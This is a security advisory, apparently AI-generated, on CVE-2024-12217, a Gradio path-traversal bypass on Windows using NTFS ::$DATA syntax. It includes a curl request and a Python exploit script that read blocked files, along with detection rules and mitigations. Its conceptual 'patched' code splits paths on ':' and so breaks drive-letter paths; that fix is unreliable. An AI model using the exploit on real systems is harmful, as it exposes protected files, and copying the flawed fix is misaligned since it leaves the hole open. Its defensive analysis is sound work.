CVE-2024-12217

Executive Summary

CVE-2024-12217 is a path traversal vulnerability affecting the gradio-app/gradio repository at commit 67e4044, specifically on Windows OS. The vulnerability resides in the blocked_path functionality, which is designed to prevent users from reading certain files. Due to improper handling of NTFS Alternate Data Streams (ADS) syntax, an attacker can bypass the block by appending ::$DATA to a blocked path (e.g., C:/tmp/secret.txt::$DATA). This allows unauthorized reading of sensitive files that were intended to be protected. The CVSS score is 5.3 (Medium), with low attack complexity and no privileges required. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects the Gradio Python package, which is distributed via PyPI. Users of Gradio on Windows should be aware that the blocked_path feature may not provide the intended security guarantees. The package maintainers have not yet released a patch, so users must implement manual mitigations.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: None
• Availability Impact: None

The threat level is medium due to the low complexity and network attack vector, but the impact is limited to confidentiality of specific blocked files.

Deep Dive & Mechanics

The vulnerability exploits a fundamental difference in how Windows handles file paths compared to the application's path validation logic. NTFS Alternate Data Streams (ADS) allow additional data to be associated with a file using the syntax filename:streamname. The ::$DATA stream is the default unnamed data stream, which is equivalent to the file's main content.

The blocked_path functionality in Gradio likely performs a simple string comparison or path normalization that does not account for ADS syntax. When a user requests C:/tmp/secret.txt, the application correctly blocks it. However, when the request is C:/tmp/secret.txt::$DATA, the application fails to recognize it as the same file, thus allowing access.

This is a classic path traversal / file inclusion vulnerability specific to Windows NTFS. The attack is trivial to execute once the attacker knows a blocked path.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (Conceptual):

# Vulnerable: simple string matching without ADS normalization
blocked_paths = ["C:/tmp/secret.txt"]
user_path = request.path  # e.g., "C:/tmp/secret.txt::$DATA"
if user_path in blocked_paths:
    return "Access denied"
else:
    return read_file(user_path)

Patched Code (Conceptual):

# Patched: normalize path to remove ADS syntax
import os
blocked_paths = ["C:/tmp/secret.txt"]
user_path = request.path
# Remove ADS syntax
if ":" in user_path:
    user_path = user_path.split(":")[0]
# Normalize path separators
user_path = os.path.normpath(user_path)
if user_path in blocked_paths:
    return "Access denied"
else:
    return read_file(user_path)

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running Gradio on Windows with blocked_path configured.
• Knowledge of a blocked file path (e.g., C:/tmp/secret.txt).

Exploit Steps:

1. Identify a blocked path, e.g., C:/tmp/secret.txt.
2. Append ::$DATA to the path: C:/tmp/secret.txt::$DATA.
3. Send a request to the Gradio server with this modified path.
4. The server will return the file contents.

Example Request (using curl):

curl "http://target:7860/file=C:/tmp/secret.txt::$DATA"

Python Exploit Script:

import requests

target = "http://target:7860"
blocked_file = "C:/tmp/secret.txt"
exploit_path = f"{blocked_file}::$DATA"

response = requests.get(f"{target}/file={exploit_path}")
if response.status_code == 200:
    print("File contents:", response.text)
else:
    print("Exploit failed")

Blue Team

Detection:

• Monitor for requests containing ::$DATA in file paths.
• Look for unusual file access patterns to known sensitive paths.

Mitigation:

• Implement input validation to strip ADS syntax from file paths.
• Use a whitelist of allowed files instead of a blacklist.
• Apply the principle of least privilege to the Gradio process.

Indicators of Compromise (IOCs)

• Network: HTTP requests with paths containing ::$DATA (e.g., /file=C:/tmp/secret.txt::$DATA).
• File System: Unauthorized access to files that should be blocked.
• Logs: Gradio access logs showing requests with ADS syntax.

Detection Engineering

YARA Rule

rule CVE_2024_12217_ADS_Traversal {
    meta:
        description = "Detects attempts to exploit CVE-2024-12217 via NTFS ADS syntax"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12217"
    strings:
        $ads_pattern = /::\$DATA/i
    condition:
        $ads_pattern
}

Sigma Rule

title: CVE-2024-12217 Gradio Path Traversal via NTFS ADS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests containing NTFS ADS syntax targeting Gradio
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: gradio
detection:
    selection:
        cs-uri-query|contains: '::$DATA'
    condition: selection
falsepositives:
    - Legitimate use of ADS syntax (rare)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-12217 Gradio Path Traversal via NTFS ADS";
    flow:to_server,established;
    content:"::$DATA"; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable blocked_path functionality if not critical.
2. Implement input validation to strip ADS syntax from all file paths.
3. Use a whitelist approach for allowed files instead of blacklisting.

Long-term Fix:

• Apply a patch from the vendor when available.
• Upgrade to a patched version of Gradio.

Workarounds:

• Run Gradio on a non-Windows OS (Linux/macOS) where ADS is not applicable.
• Use a reverse proxy (e.g., Nginx) to filter out requests containing ::$DATA.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.